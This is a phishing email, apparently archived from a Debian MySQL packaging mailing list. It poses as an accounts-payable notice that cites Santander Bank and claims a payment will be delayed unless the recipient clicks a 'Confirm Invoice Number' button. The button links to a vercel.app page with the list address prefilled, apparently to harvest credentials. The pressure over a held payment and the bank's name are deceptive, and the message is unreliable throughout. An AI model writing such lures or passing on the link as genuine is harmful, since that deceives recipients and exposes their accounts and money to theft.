[debian-mysql] FWD: Invoice Number Required for Payment Clearance

[Accounts Payable]

Important: Invoice Number Confirmation for Payment Processing
To ensure your payment is processed without delay, we kindly ask that you confirm the correct *invoice number*.

If the invoice number is not mentioned on the payment slip, intermediary banks may hold up the payment, resulting in delays in crediting. This is a requirement from our bank, *Santander Bank* , to ensure smooth and timely processing of all payments.

Please confirm your invoice number by clicking the button below before we release the payment.
Confirm Invoice Number ( https://pmtslpbnkremadv.vercel.app/?web=pkg-mysql-maint@lists.alioth.debian.org )

Accounts Payable

387 Penfield Hill Rd. , Portland , CT 06480

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